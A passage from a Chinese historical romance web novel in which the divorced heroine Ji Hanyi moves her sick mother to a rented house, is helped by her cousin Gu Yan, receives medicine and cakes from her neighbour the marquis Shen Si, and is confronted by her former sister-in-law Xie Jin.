季含漪低头看着匣子默了默,又抬头看向外祖母红了的眼眶,还是埋在外祖母的怀里轻轻点头。
从外祖母那里出来,季含漪去了母亲那里。
到了廊下的时候,春菊从屋内迎出来,低声道:“姑娘,夫人的东西都已经都收拾好了。”
说着她微微一犹豫,有些为难的看了季含漪一眼:“只是夫人好似不愿走。”
季含漪并不意外母亲这样的反应,她轻轻点头,跨进了门槛,又挑了帘子往那间满是药味的西屋走去。
顾氏身上已经穿戴整齐,脸色苍白的妇人脸上没有什么血色,从前历来柔弱的眼里,此刻满是不安仿徨。
她见着了季含漪过来,眼里微微一亮,像是终于见着主心骨一般,忙就唤她:“含漪,你快来,我们现在要去哪儿?”
季含漪叫屋内的丫头出去,她走到母亲面前,坐在母亲的身边,看着母亲面上不安的神情,她低声道:“母亲,我们不能再留在这里了。”
“我叫铺子里的掌柜寻了一处宅院,那院子在城东,院子不大,但是很幽静,后院里还种了花,还有个小池塘。”
顾氏听了怔怔的看着季含漪:“城东的宅院你怎么租的起?况且我们留京也不会太久,你何必花费这些银子。”
“我们去蔚县的花用还会不少,即便去投靠你二叔的,我们也别多麻烦了人家。”
季含漪握紧母亲的手安慰道:“二叔现在住的宅院,是当年父亲买下来的,旁边的宅院本就是父亲在老家买下,等着以后告老归乡的时候回去住的,我们虽说去投靠二叔,但母亲放心,我们不会给二叔添麻烦,只是邻着二叔家的住,万事我自己心里有数,手上也还有存银。”
“再有这回搬出去,其实是我不想留在这里了,母亲在这里住
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了这么多年,大舅母如何待母亲的,难道母亲心里不明白么?”
“母亲既不愿给人添麻烦,我亦是的。”
顾氏听了季含漪的话脸上白了白,这些年她的自欺欺人现在被女儿一语说破,她心中永远最亲最和睦的亲人,其实早就离心了。
是她自己还不愿承认。
是她自己还一直活在过去那个兄嫂一直对她照顾有加的时候。
早就已经变了,她成了那个累赘,成了顾家的累赘,还连累了自己的女儿。
顾氏又哭起来,眼里泪光不停的落,季含漪看着母亲眼里的泪光一怔,抿了抿唇,又低头靠向母亲的怀里轻声道:“母亲,父亲从前就说过世事无常,有起有落,我从来都没有觉得艰难过,一时的困难也并不要紧,我只想要与母亲好好的过好往后的日子。”
顾氏怔然听着季含漪的这些安慰的话,眼中的泪水却更多,又是哭了好大一场。
季含漪用了许久才终于将母亲劝好了,又起身叫容春去叫丫头去将收拾好的东西拿去马车上。
东西本就是不多的,顾氏也没有什么衣裳首饰,当初从季府出来,母女两人都是一身素净的走出来的。
出前门的时候,已经是下午申时了。
刘氏听说了季含漪不声不响的要走,连忙赶到了前门,对着季含漪道:“怎么你母亲病没好就走,再多住些日子吧。”
说着她又靠近季含漪,压低了声音低声道:“别管你大舅母的那些话,她这人的确太过了,你放心,我心里可是向着你的。”
季含漪看向二舅母,脸上难得露出了几分笑意。
其实从前二舅母对她还没有大舅母对她好,从前她的确是更亲近大舅母的,但是经历过一遭事情过后,才知道二舅母这样的性情才是最真的。
她从前年少不知晓太多人心世情,只有经历过大事之后,身边人都是如何性情,才能清清楚楚的看明白。
又说了几句告别的话,正要上马车的时候,忽传来一阵急促的马蹄声,季含漪微微顿了顿步子侧头往旁一看,就见着顾晏骑马赶了回来。
顾晏见着了季含漪,便连忙下了马,朝着她去。
刘氏在一旁看着,见着顾晏自骑马回来,那一双眼眸就看在季含漪身上,那般着急,她静静看了两眼,从前还不觉得,如今越看越是觉察出了几分意思。
大嫂那般精明算计又爱计较的人,自己生的儿子却对季含漪好似有别的意思,她暗暗啧啧两声,她那精明的大嫂恐怕还有糟心事等着呢。
不知道怎么说,心里头反而有点期待季含漪与顾晏真在一起,一来她觉得顾晏也算是个良人,她也不算想着季含漪不好,她就是想给大嫂添堵。
又看了眼顾晏那身子情不自禁的往季含漪靠过去的身形,她收回视线,笑了笑带着丫头回走。
这头顾晏低头紧紧看着季含漪:“漪妹妹要走?”
季含漪便说了自己的打算。
顾晏看着季含漪的眼睛,那黑黑的眼眸此刻映照的是他有几分阴郁的面容,他心里发紧,胸腔里起伏狂乱的跳动,心绪乱窜。
他甚至在看到季含漪就要上马车离开这里的时候,他甚至想要将季含漪永远都困在他的屋内,叫她永远生活在自己的羽翼下,哪里都去不了,永远只能依靠自己。
第141章 晚上我来找你
顾晏此刻的心潮依旧如波浪翻涌,他几欲克制不住自己脸上的情绪。
但他知晓季含漪从小的性子,她虽然看着柔弱,但她骨子里却全是韧性,逼迫反而会适得其反。
他要的从来也是她的心甘情愿而已。
他只要慢慢走近她心里就好。
顾晏深吸一口气,缓了缓脸上的情绪又温声开口:“无妨的,幸好我赶回来的及时。”
说着他看了眼马车问:“东西可搬上马车了?”
见着季含漪点头,他便也不多问,让季含漪先上马车,他跟在身边,等到了地方再帮她一起收拾。
季含漪本来下意识的想要拒绝的,可是看到顾晏那认真又当真担心的眼神,还是轻轻点头。
已经先上哥马车顾氏听到顾晏的声音,从旁掀开帘子看向顾晏,眼里便泛了喜欢的柔光,她知晓顾晏是小辈里最有孝心的孩子,对她任劳任怨,照顾周到。
她听着顾晏要一起,便低低道:“晏哥儿,辛苦你了。”
顾晏笑了下:“不算得什么,我下值的早,也无事的。”
顾氏看着顾晏长身玉立站在自己女儿身边的模样,不禁又想,当初要是季含漪嫁给了季含漪,恐怕过得也比如今好的。
她眼里含了抹遗憾,点点头放下了帘子。
顾晏一直看着季含漪,见着那烟蓝色娉婷的人上了马车才上了马。
这头刘氏从前门往回走的时候,却碰着了匆匆往前门去的张氏。
张氏一碰着刘氏就问:“含漪走了?”
刘氏听着张氏这话觉得奇怪的很,从前不天天巴着人走么,怎么这会儿看着倒是着急了。
她笑了下:“才刚走呢,也没打招呼,就与老太太说了声,我也是正巧碰上的。”
说着他又看着张氏道:“人家走都没事先与大嫂说一声,这会儿大嫂可能松口气了不是?正好不用去留了。”
张氏听了刘氏这挪揄话,脸色一下子变得难看,皱眉道:“你这话又是什么意思?”
刘氏笑了笑:"大嫂这话说的,我能有什么意思?"
“大嫂可别想多了我的话,刚才我还见着了晏哥儿去送含漪呢。”
张氏的脸上一僵。
刘氏看着张氏脸上僵硬的表情,心里怼舒坦了,再施施然的走了。
张氏愣在原地又往前门追出去,前门口半个人影都看不到了。
她没想到,季含漪会带着顾氏走的这么急,是当真没有要留下来的意思。
又想到是顾晏去送的,又生怕顾晏回来与她闹,紧张的捏了捏手。
这头季含漪的马车往城东去,只是在快要到了的时候,马车忽然急急停住,季含漪赶紧扶着母亲,掀开旁边的帘子往前看。
顾晏过来弯腰站在季含漪身边低声道:“漪妹妹别怕,前头也来了辆马车,这条路并不狭窄,只是那马车太大,可能有些不好过去,我先去前头看看。”
季含漪视线往前,只见着个马车一角。
其实这里离她租下的宅院大门只有几步路了,对面那马车光是看一眼就知道是非富即贵的,这城东到处都是贵人和皇亲国戚,也没必要冲撞了,便对顾晏低低道:“这里就已经到了,表哥与那头说稍等一等,我与母亲下了马车让马车掉头让路。”
顾晏顺着季含漪手指的方向看了一眼,的确就只有几步的路,便点点头,往对面去。
沈肆淡淡的眼神看着顾晏弯腰与季含漪说话的模样,他视线落在那搭在车窗沿上的细白指尖,和那一抹烟蓝色的袖口。
那袖口上的白色玉兰花若隐若现,依稀能听到她历来好听的软音。
接着他视线微抬,看着顾晏那双紧紧落在季含漪身上的眸子,又淡淡看着他往这边过来,才放下了帘子。
顾晏很快过来交涉,跟在马车旁的护卫过来问沈肆的意思,沈肆低低吩咐一声,马车还往后退了退,让出了一些路来。
顾晏光是看着跟在马车边上的这些护卫,便心里猜想着那坐在马车内的人必然是身份贵重的。
又看对方这么好说话,还让了路,又是有礼的一鞠,再回头去扶着季含漪下马车来。
季含漪掀帘出来看着顾晏的手,想着对方有人等着,不好与表哥推拒耽搁,便搭了上去。
只是她才一下马车,忽见着文安站在不远处笑吟吟的看她。
季含漪乍然看到文安时不由的一愣,文安若是在这里的话,那马车内的人……
季含漪的视线不由往那帘子紧闭的马车上看去。
身后母亲也已经被顾晏扶着下来,顾晏过来她身边低声道:“漪妹妹先扶着姑母进去,我去搬东西下来。”
说着顾晏又一顿,低声道:“对面马车里的人应该身份尊贵,他们还先让了路,我们不好叫人多等。”
季含漪点点头,扶着母亲往路的侧边走。
才走到大门处,文安却走了过来问:“季姑娘住在这儿的?没在顾家住了?”
季含漪见文安过来问,也点头:“我与母亲打算在这里小住些时候。”
文安脸上的笑意加深,指着前头那看起来巍峨气派许多的大门道:“巧了么不是,我家侯爷就住在季姑娘隔壁呢。”
季含漪一顿,看向文安好奇的问:“沈大人为何会住在这儿?”
这离沈府可离了好远。
文安笑道:“我家侯爷嫌沈府不够清静,得了空闲也时常来这儿小住的。”
季含漪光是听
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这话就觉得有些不对,沈府里头要是沈肆住的地方都不清静的话,那恐怕没清静的地方了。
但季含漪也不好过问多了,就觉得实在是太巧了些,怎么就这么巧。
巷子里的风带着早春阴沉沉的凉,下午的天色微暗,像是即将就要到一场淅淅沥沥的春雨。
季含漪目光看向那始终垂着帘子的马车,不曾看到一角沈肆的身影,她想要过去当面与沈肆问候一声的打算,又在看到顾晏提着东西过来时歇了心思。
她与文安低声道:“刚才多谢沈大人让路,不好再耽搁了。”
文安笑了笑:“无妨,季姑娘要是想与我家大人道谢,我家大人在那儿呢,多等等也无妨。”
文安说了这话,好似不过去道谢便不好了。
季含漪便叫春菊过来扶着母亲先进去,自己先去与沈肆道谢。
顾氏往那辆马车看去一眼,又看着季含漪问:“你认得那位大人?”
季含漪就低声道:“那是沈侯爷。”
顾氏一听季含漪这声称呼,便立马明白那马车内的人是谁了,倒是没想到能碰着他,便也叮嘱道:“你过去道谢一声也好,你们从前有些情谊的。”
季含漪点头,看着母亲被容春扶着进去,才往沈肆的马车那头去。
她看着面前那深色帘子,心里微微紧张了一瞬,还是轻轻开口:“沈大人。”
帘子随着季含漪的这一声,被一只骨节分明的手指挑起,露出一张矜贵又薄情的脸,那一双历来凉薄的黑眸此刻微微上抬,暗暗沉色中带来零星压迫的波涛。
季含漪向来是受不住沈肆这眼神的,像是看穿了一切,又像是里头饱含了太多她并不懂的情绪。
她知晓让沈肆先开口是不可能的,她见着沈肆露面,便又忙继续道:“刚才多谢沈大人让路。”
又问:“可耽误了沈大人?”
沈肆目光从季含漪的肩头越过,看向正往他这边看来的顾晏,那眼神好似将季含漪当作了他的所有物,看不得她与其他男子说话。
这种眼神他很熟悉,因为他也是看不得的。
沈肆的目光重新回到季含漪的脸上,漫不经心的开口:“无妨的。”
又看着她被巷中穿过的风吹起的细发,细细眉目里带几分疲倦,眼底还带了一丝红晕,杏眸中微微细闪,像是刚才含了泪。
他的心为她紧了一分,问她:“要紧么?”
季含漪被沈肆这没来由的一问问的脑中空白,她也不知沈肆问的是什么要紧,却还是下意识的摇头:"不要紧的。"
沈肆抿抿唇,又看着季含漪身上稍显的单薄的衣裳,不想留她在这里太久吹风,又低沉开口:“夜里我来找你。”
第142章 沈肆夜里过来
沈肆淡淡的一句话,叫季含漪脑中是彻底空白了瞬。
这话怎么听听着有些……
又看沈肆那双认真的黑眸,季含漪想问沈肆找她做什么,但这话直接问出来好似又不太好,她心底正斟酌着怎么问出来,面前的帘子居然忽的放了下去,里头传来沈肆依旧淡淡的声音:“夜里再说。”
沈肆这声音直接将季含漪的所有话都堵住了。
她小声的嗯了一声,又回头往前门走。
顾晏一直站在前门看着,一直看到季含漪过来,低声问她:“你认得?”
季含漪一边帮着容春将她手里的文房箱接过,一边往里头走轻声道:“那是沈家的马车,里头是沈侯爷。”
顾晏眼神微微顿了顿,刚才微有些紧张的神色,又松了些许。
沈府这样的门第他自然是知晓的,季含漪几乎是不可能进的。
他走在季含漪的身侧淡笑了一声:“沈侯爷倒是与传言里的不一样。”
刚才因着季含漪的身形挡住了,顾晏没见着沈肆的模样,但这样的人家肯主动让路,已经是十分罕见了。
在他听闻里的沈侯爷是办事凌厉不近人情的,今日像是没传言里的那般不好说话。
季含漪低头看着脚下的路,想着顾晏的话,其实当真是有一些不一样的。
她曾看见过沈肆眼里有些温度的神情,像是也不是记忆力的那般冷淡。
季含漪的东西不多,不过两趟就都全拿完了。
屋子内是打扫干净的,容春和春菊在将拿来的东西收拾着,季含漪先去安顿好了母亲,出来外间的时候,就见着顾晏蹲在炭盆前生炭火。
顾晏生的清隽高挑,一身青衣,身上有股清冽的温润,蹲在炭盆前生炭火的模样,看起来有几分文人的斯文,又看着很是牢靠。
他听着动静见着季含漪出来,又见季含漪正看他,笑了下道:“姑母的身子一向不大好,受不得半点寒气,如今早春亦是凉的。”
“再有刚才出来一趟,姑母身上应该也冷,我便将炭火先生好。”
季含漪没想到顾晏会想得这么周到,走到他身边蹲下道:“我来吧,晏表哥耽误了许久,先回去便是。”
顾晏垂眸看着季含漪伸过来的手指,白净的指尖依旧十指不沾阳春水的那般软嫩,这双手本来就不该沾染上了炭火上的灰泥。
他道:“很快就好了,漪妹妹不用碰。”
季含漪的手顿在半空,看着顾晏很快生好了炭火,又叫季含漪去打帘子,他将炭盆端进去。
接着顾晏又将带来的梅花往瓶里插花,散散味道。
屋内的顾氏坐在椅上看着顾晏这般为她忙碌,忍不住叫顾晏去旁边椅子上坐下吃口茶。
顾晏坐在顾氏的身边,淡淡笑了笑道:“姑母不必担心我,我并不累的。”
顾氏有些心疼的看着顾晏:“你平日里还要上值,回来又要顾着我,怎么不累了。”
顾晏飞快看了一眼坐在旁边在小案上垂头煮茶的季含漪,又低声道:“我心甘情愿的。”
顾氏注意到了顾晏的眼神,那看去的一眼,什么意思她一眼就明白了,顾晏是为着季含漪。
上回她与母亲说话,母亲与她提过这件事,说是顾晏自己主动提出来的,但是季含漪给回绝了。
那时候顾氏考虑着已经答应了季含漪要一同去蔚县,顾晏在京为官,不好拖累了他,也没有怎么上心,想着女儿应该也是这么考虑的。
只是本来要走的这一趟却因为她的身子没有走成,现在看顾晏像是还有这个意思,顾晏不嫌弃她女儿已经嫁过人,又这般殷勤,从前也都是顾晏照顾着她,心里隐隐又觉得顾晏人好,成了这桩事情,也不是不行。
下午顾晏一直留着帮忙,还出去去采买了些菜肉来,直到天黑了留着用了饭才走。
只是他从门口出去的时候,一眼就见着
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了一辆马车等候在季含漪的门前。
顾晏顿住步子看了看那辆马车,认出面前的马车是今日下午过来时碰见的那辆,目光又看向站在马车旁一身锦缎蓝衣的男子身上,他也记得,下午他还主动到季含漪的身边说话。
这是沈府的马车。
应该是沈侯爷的马车。
只是为什么会停在这里,停在季含漪的门口处。
他忍不住又往马车上打量一眼,这时却见着那车窗帘子被掀开,明灭不定的暗色中,一张矜贵年轻的面容露在他眼前,那双凉薄的眼正看他,带着几分冷淡不屑,叫他心里在一瞬间就生出了畏惧与压力。
帘子很快就放了下来,叫顾晏更觉得那一眼是特意看他的。
带着一股隐晦的警告。
顾晏站在原地顿了一下,思索一下还是过去拜见。
沈肆听着外头顾晏的声音,也只是意味不明的淡淡应了一声,听不出什么情绪来。
顾晏又看了眼那再未动过的帘子,又低声告退。
顾晏上了马车离开,却是忍不住回头看去一眼,那独独一辆马车停在那里,旁边没有侍卫,只有一个长随留在身侧,顾晏眼神一深,又回过了头。
屋内的季含漪本正在收拾她文房箱中的画具,容春来说沈肆在门外等她,想起今天沈肆说夜里来找她的话,动作一顿,又放下手上的东西叫容春先铺好床铺,才往外头走。
一打开门就见着门口停了辆宽敞的马车,她一怔,文安过来她身边低声道:“季姑娘上马车吧,侯爷在马车里等着您呢。”
季含漪看了看面前停着的那辆马车,在只有门口那两盏灯笼光线的映照下,沉默又华贵,一如她印象里的沈肆。
马车里什么声音都没有传来,像是正在无声的等待着她。
季含漪小小的深吸了一口气,才对着文安应了一声,接着踩着面前早就放好的脚凳,轻轻的掀开帘子上了马车。
第143章 你能报答我什么?
一入马车内,便是沈肆身上那股冷清的沉香味道,马车内的光线也很昏暗,中间的小桌上放着一盏**八方灯,沈肆坐在对面,他身上的玄衣让在再暗色中几乎看不清,又忽视不了他所带来的存在感。
马车内的装饰华丽,沉水香木制的马车,如沈肆身上那般带着股雅致,四壁嵌满的螺钿在暗暗烛火中泛着微光,内壁上是用银线在玄色越罗上刺绣的整幅《辋川图》。
季含漪的目光落在车壁上不敢往沈肆脸上看,她也看不清,明明灭灭的,觉得这一刻沈肆的脸色该是极严肃的。
沈肆沉沉目光落在坐得规矩端正的季含漪身上,好似她唯有在自己面前,从来都是这般拘谨。
今日他看她在别的男子面前言笑,神情松懈,从来不似如在自己面前这般一样。
她从未在自己面前放松的笑过。
沈肆微微坐直了身,面容从暗处显现,又从身边拿出一个不小的盒子来,递到了季含漪的面前。
光线昏昏暗暗,季含漪低头看向沈肆手上的那个盒子,**灯雕刻的仙鹤倒映落在那盒子上影影绰绰,又衬得沈肆放在上面的手指异常好看。
季含漪好奇的问:“是什么?”
沈肆看着她:"打开看看。"
季含漪接了过来,盒子微微有些沉,她放在膝盖上打开,看到里面的东西时微微一愣。
里头整整齐齐的放着满盒子的药包。
季含漪隐隐知晓了里头是什么了,她忙抬头看向沈肆:"沈大人,我不能要,我手里有银子的。"
上回李眀柔那事,季含漪手上多了那么多银子,现在手上还是宽裕的,至少母亲吃药还能承担的住。
沈肆看了季含漪一眼:“我过问过陈太医你母亲的病,你母亲的身子很不好。"
“这药你不要,我留着也没人用。”
沈肆的声音冷淡又不容置疑,季含漪知晓他从来不开玩笑的,但就是自己收下有些觉得受之有愧。
她微微捏紧的盒子的边缘,又看向沈肆小声道:“我……”
季含漪深吸一口气,又开口:“沈大人,谢谢你。”
这话季含漪自己都说的有些愧疚,她捏在盒子边缘的手指更加紧了紧。
季含漪紧张是因为她不知晓自己此刻除了谢谢还能说什么,说什么感激的话,又用什么去报答。
沈肆低垂的眼眸看着季含漪落在盒子上的指尖,他能感受到她此刻的心情,她的心思也不难猜。
视线又一寸寸上移,目光落在她低垂的眼帘上。
那里落着淡淡一层阴影,鼻尖上亦盖了一层,嫣红的唇瓣抿着,细眉下的长睫不停轻颤,这是她紧张时候的模样。
沈肆为她解了围,尽量放缓了声音:“这药是陈太医重新为你母亲调配的,这点银钱与我算不了什么,你母亲的身子要紧。"
季含漪听着这话,手指轻捏,终于鼓起勇气抬头看向沈肆问:“我能报答沈大人什么?”
沈肆挑眉,看着昏色下季含漪那双看来格外认真的眸子,暖暖光线将她整个人映的愈加柔软,稍微有些松了的乌发在那张白净的脸庞上有一股动人的娇柔气,他挑了挑眉:“你能报答我什么?”
季含漪被沈肆的话问的脸色微微发白,她羞愧自己问出的那话,她能报答沈肆什么呢,她还在泥沼困境里,她的将来还是一无所知。
自己在沈肆面前实在太过于微不足道,她问出的那句话,大抵沈肆也是觉得好笑的。
她颤了颤的眼睫,低下头,细声道:“如果将来有一天我能帮到沈大人,无论什么我都愿意的。”
沈肆看着季含漪垂头,白净纤细的颈脖露出一角,柔软的细发落在她颈间,浑身都是一股秀丽如春日妩妩的景明春和,叫人动容。
她身上的那股真,那股谦和,那股由内而外的软,都叫人动容。
沈肆目光紧紧看着季含漪的身上,高大的身躯微微前倾,他靠近她,视线落在她眼帘上,她身上温软的香气若隐若现,弥漫在这昏暗的马车内,叫他的心里升起一股升腾的暖来。
他带着些沙哑的声音开口:“什么都愿意么?”
季含漪还没注意到已经弯腰靠近过来的沈肆,她听到沈肆的声音,下意识的就抬头,却撞上一双沉黑如墨的眼睛。
那双眼睛正看着她,她才后知后觉的发现,自己
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被拢在他带来的阴影里,霎那间心跳如鼓,季含漪努力忍着轻颤,又极认真的点头。
沈肆看着季含漪这模样,笑了下,又深深看她一眼:“好。”
“或许会有那一天的,”
沈肆说完话,高大的身子渐渐往后,又指了指两人中间小桌上的那个盒子,淡淡眉眼看着季含漪的眼睛:“给你带的。”
季含漪这才低头看向面前桌案上的小盒,打开上头的银扣,便看见里头正放着两块拔丝水晶糕。
季含漪看着那两块水晶糕愣了愣,这瞬间许多记忆都涌了上来。
小时候去沈肆的书房,每每去的时候,那小案上总备了一碟水晶糕。
但是那水晶糕外头的拔丝碎屑多,季含漪即便很小心的吃,也会落到沈肆的书桌上,他那般喜爱洁净的人自然是不高兴的,后头又给她赶到了外头吃完了才能进来,但是下一回来的时候,那桌案上依旧放着一碟。
曾经季含漪觉得是沈肆喜欢吃,碟子里也总只放一个,看起来像是吃剩下的,但她最是喜欢吃,也只有沈府的厨娘能做出那样好吃的味道了,年少时为着那一块拔丝水晶糕,即便再怕沈肆,也要往他书桌上凑。
如今再瞧见,记忆涌上来,让季含漪诧异的是,沈肆居然还记得这些小事。
她拿了一块小心的尝了一口,还是记忆里的味道,也不知怎么的,过往记忆便全都涌出来了。
那时候父亲好好的,从沈府出去就带着她上酒楼,再一起去给母亲挑选好看的首饰。
那时候真好啊。
季含漪默默红了眼眶,觉得眼里的水雾愈来愈浓重,如何都抑制不下去。
那时候在狱中,父亲告诉她无论遇到什么困难都不要难过,不要想他,更不能去怨怪别人没有施以援手。
日子是往前走的,过去再好都是过去,别将自己困在原地不走。
这些年她一直在好好努力的往前走,伤心难过也不让自己困在原地,但是从前事情是永远都无法忘记的。
沈肆看着季含漪晕红了的眼眶,细碎的荧光闪烁在她眼帘里,他默了默神色,忽然无声的伸手,抬起了季含漪的下巴。
第144章 只要先将人留在身边
沈肆看着季含漪眼里淡淡光晕,心有瞬间揪痛,想起她小时候哭的模样,那时候她肆无忌惮的哭的很大声,往她父亲怀里钻,如今她连含泪都是默默无声的,像是受了许多的委屈,再不会哭出声了。
沈肆低哑的问她:“为什么难过?”
是在意她与他之间的从前,是她还对两人过往有过眷念,还是因为什么。
微凉的指尖落在季含漪的下巴上,季含漪怔了怔,一眨眼的时候,泪水从眼眶处滑落下去,季含漪不想这样的,更不想在沈肆面前落泪。
但她控制不住。
她听见沈肆的声音,便更难受,哑哑轻颤的声音从喉咙里出来,季含漪难过道:“我想起父亲了。”
沈肆的指尖一顿,又缓缓的收回手。
凝着的呼吸缓下来,他看着她梨花带雨的泪眼叹息:“都过去了。”
季含漪低头,用绣帕在眼睛上捂了捂,又很听话的轻轻嗯了一声,声音里带着细细哑音:“都过去了。”
沈肆看着季含漪用手帕捂着眼睛的模样,秀丽的身子依旧坐姿笔直,唯有肩膀往下,眼眸低垂,看起来叫人难受。
他叹息,本意不是叫人哭的。
季含漪也知晓不能在沈肆面前一直这般,她努力压下心头的潮绪,又细声道:“沈大人,我许久没吃到了,真的很好吃。”
“沈大人,谢谢你。”
沈肆看着人那通红的一双眼,但眼里神色格外的认真,他深深看得失神,又沙哑道:“我明日再给你带来。"
季含漪一愣,反应过来又忙摇头道:“不能再劳烦沈大人了。”
沈肆抿唇看了季含漪一眼:“我这些日就住在旁边,路过给你,不算麻烦。”
这话将季含漪的话都堵住了。
季含漪忍不住用眼神偷偷看沈肆,只是才一抬眼就被沈肆的眼神给抓住,她赶紧又偏过了神情,胡乱的点头。
沈肆看着季含漪的小动作笑了笑,他不急,只要季含漪还没有离京,他一定能留下她。
喜不喜欢等成婚了再说也不迟,只要先将人留在身边。
沈肆知晓不能对季含漪亲近的明显,不然她便会往后缩,可能会想着更远的逃开。
上回给她的信的确唐突了,她才刚和离,什么都未准备好,他不该叫她这么快的做出选择,是他心急了。
他黑眸又低低看她一眼,沈肆道:“我就住在旁边,万事叫人去旁边叫我。”
季含漪刚才在沈肆面前落泪了,这会儿不敢看沈肆的眼睛,她继续点头,又小声道:“沈大人,我该走了。”
沈肆指着桌上的小盒问:"还吃么?"
季含漪看过去,想着是沈肆给她带来的,她总要吃完。
她已经许久没有吃到这样的味道了,真真的好吃。
季含漪忙点头,又低头去将另外一个吃完。
季含漪还是注意着的,低着头,另外一只手接在糕点下头,不想脏了沈肆的马车。
沈肆看着季含漪唇边的那沾上的碎屑,眼眸微暗,又忍着去为她擦拭的动作。
糕点不大,季含漪两口便吃完了,她抱着放着药包的盒子,又与沈肆说了声谢谢,才下了马车。
沈肆掀开旁边的帘子,看着季含漪站在马车外的夜色里,凉风吹向她单薄的身形,沈肆看着,神情微软。
季含漪回去后先叫容春将包药都放好,往后给母亲熬药就用这些药包,又才去了母亲那里。
母亲已经睡下了,季含漪又轻手轻脚的回了自己的屋子,开始给章先生写信。
到了第二日下午的时候,季含漪就收到了章先生的信。
她坐在后院的小廊上,后院微风****,章先生的来信并不长,季含漪很快就看完了。
信上说季含漪的两间铺子都已经转手卖了出去,还有那幅画也卖了好价钱,因为银子数量不少,看季含漪是亲自去拿,还是他叫人送来。
季含漪想了下,觉得还是亲自去拿的好。
去拿的过程很顺利,章先生将沉甸甸的钱袋子放到季含漪手上的时候,又低声道:“你崇文南街的铺子地段不是太好,那条街也说不上价钱,尽管铺子的生意还行,但也没有卖出高价,但也比周围的铺子高了些,卖了九百两的银子。”
“另外一间城北的铺子就次一些了,只卖了六百两。”
季含漪知晓崇文街那里的铺子不值钱,现在能卖到这个价钱,她也已经很知足了。
她轻轻点头道:“谢谢章先生。”
章先生笑了笑:“没什么,我也没帮你什么忙。”
她说着又将上回的画钱四百多两给了季含漪,又语重心长的低低说了一句:“你的画每回都是画楼里价钱卖的最高的,你如果真的要离开京城,多画几副来,那人也定然要。
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”
季含漪从章先生的话里面听出一些别的意思。
这些年她每年虽说往抱山楼只送去过三四幅画,但她自己也知晓,每一幅的画的确卖的并不便宜。
如今季含漪听了章先生的话,忍不住问出来:“章先生可以再说明白些么?那人是谁?”
章先生听了季含漪的话一顿,这才惊觉自己有多话了,赶紧道:“也不过随口一说,买你画的人不少,我是想叫你多画几张。”
季含漪笑了笑,却没直接答应。
对于她来说,虽然是为了生计才卖画,但是画画的时候感觉于她来说是很重要的,没有感觉的时候,想画也画不出来。
就如这些日子,母亲的身子不好,她担忧着往后,担忧着母亲,如今独自出府别住,身边统共只有两个丫头,手上琐碎的事情变多,便没有那么多的闲情雅致了,甚至她这些日子可能都难以动笔,因为没了那份闲雅的心了。
从前在谢府的时候,她虽说不怎么受待见,但事情也不多,空闲时候不少,安安静静的,也能静心做些事情。
季含漪明白章先生的意思是想让她多画几副,多存些银子,为着将来打算,也是为她好的。
季含漪从一钱袋中拿出一百两交到章先生手上轻轻道:“我在京中已没有多少能够帮我的人,先生便是其中一个,先生对我的恩情我一直记在心里。"
“等我母亲病好我便会离开京城了,再见已不知是何时,这点银子其实不过微不足道的薄礼,还请先生千万不要推辞,也叫我心头好受些。”
章先生看着季含漪送来的银子,又看季含漪坚定的眼神,叹了叹,还是收了下来。
他满是怅然的与季含漪道:“不管你将来还需要我帮你什么,你尽管写信过来。”
季含漪点点头,又寒暄了一些才离开。
回去的路上,季含漪路过糕点铺子,想着买点母亲喜欢的糕点,只是没想到的是,却在这里碰到了谢锦。
季含漪是先下的马车,快买完的时候碰见的谢锦。
谢锦依旧是如从前那般打扮富贵,满身的朱翠,轻扬着脖子,身后跟着三四个仆妇,正从对面过来。
季含漪看了眼谢锦,想着谢家的事情早就与她没有什么干系了,也不想再理会谢锦,转身就要上马车。
身后却传来谢锦急促的声音:“季含漪!”
第145章 只要你识趣,你还能重新回到谢府
季含漪听见谢锦的声音一回头,就见着谢锦往她这边靠近,那脸上的神色依旧带着倨傲。
只见她三两步的走到季含漪的面前,第一句话便是冷笑:“我听说你从顾府搬出去了。”
季含漪看了眼谢锦问:“你怎么知道的。”
谢锦脸色微微阴沉的咬了咬牙。
她弟弟出了这么大的事情,那李眀柔那个**居然给她弟弟下了三年的药,现在就算请了宫里的太医,都说她弟弟那方面除非借助药物,不然已经不怎么行了。
现在整个谢府全乱套了,把那李眀柔关起来她也不消停,日日的哭闹。
今天她本是陪着母亲一起去顾家想将季含漪重新接回去,毕竟现在自己弟弟成了那个样子,整日的颓着如鬼一样,旁的女子哪里会嫁过来,也只有季含漪了。
再说了,季含漪和离后定然过得凄凉,说不定她还要感恩戴德的回去,可是哪想那顾府前门的人说季含漪已经不住在顾府了。
谢锦冷眼看着季含漪想着,季含漪还有个身子不好的母亲,估计是顾家的也厌弃了季含漪。
想一想也是,谁家愿意一辈子养一个寡妇和一个和离的,没被赶出去才奇怪。
不过这样也好,这样季含漪也只能乖乖跟着她回谢家,也免得自己弟弟现在又整日的念着她的好。
这些日谢玉恒将自己关在屋中,除了上值就是回来,哪里也不去,谁问他也不说话,整个人都阴郁了不少,老太太也焦心的很。
如今她母亲也被老太太收回了管家权,交给了她三婶管家了,父亲也说等年底回来休妻,母亲哭着求到老太太那里,老太太说只要母亲能让季含漪心甘情愿的回去,让府里恢复如初,她也能求情。
现在也只能让季含漪回去了。
谢锦此刻不回季含漪的话,只是又冷笑一声:“还以为当初你那么急的要和离,往后是有什么后路的,没想到如今却被顾家也赶出来了。”
谢锦说着,上上下下的打量了季含漪一眼,见着季含漪身上穿着素净花色的衣裳,依稀能隐隐见着一些陈旧,发上也仅仅一根银簪。
看到这里,她心里更多了些得意了。
如今看到季含漪的日子过得不好,也算是一种安慰,不能因为她将谢府搅的一团糟,她却置身事外。
季含漪冷眼看着谢锦,淡淡冷笑:“谢大姑娘若是叫住我说这些,着实无趣的很。”
谢锦脸色微微一变,不敢相信季含漪如今都这个地步了,是有什么胆子敢这样和她说话的。
她几乎咬牙切齿的道:“我现在给你个机会,只要你识趣,你还能重新回到谢府。”
别说季含漪,就是旁边的容春都觉得像是听到了什么天大的笑话。
季含漪细眉微凝,冷冷淡淡看着谢锦脸上那带着倨傲的神情,知晓她脑子是没问题了,她是真觉得自己应该感恩戴德的回去。
谢锦一向如此,从前身为大姑娘在府里人人奉承,再有她夫君是北镇抚司的指挥使,也有许多人巴结着她,便觉得所有人要围着她转了。
从前季含漪让着些谢锦,是因为谢锦是谢府的姑娘,维持着表面上的和气,不想闹得太过难看。
但是现在季含漪并不打算再与谢锦维持着什么和气了。
季含漪冷淡的看着谢锦:“我不知晓你这些话是怎么说出来的,但你若是没有失忆,便该知晓我与谢家没干系了。”
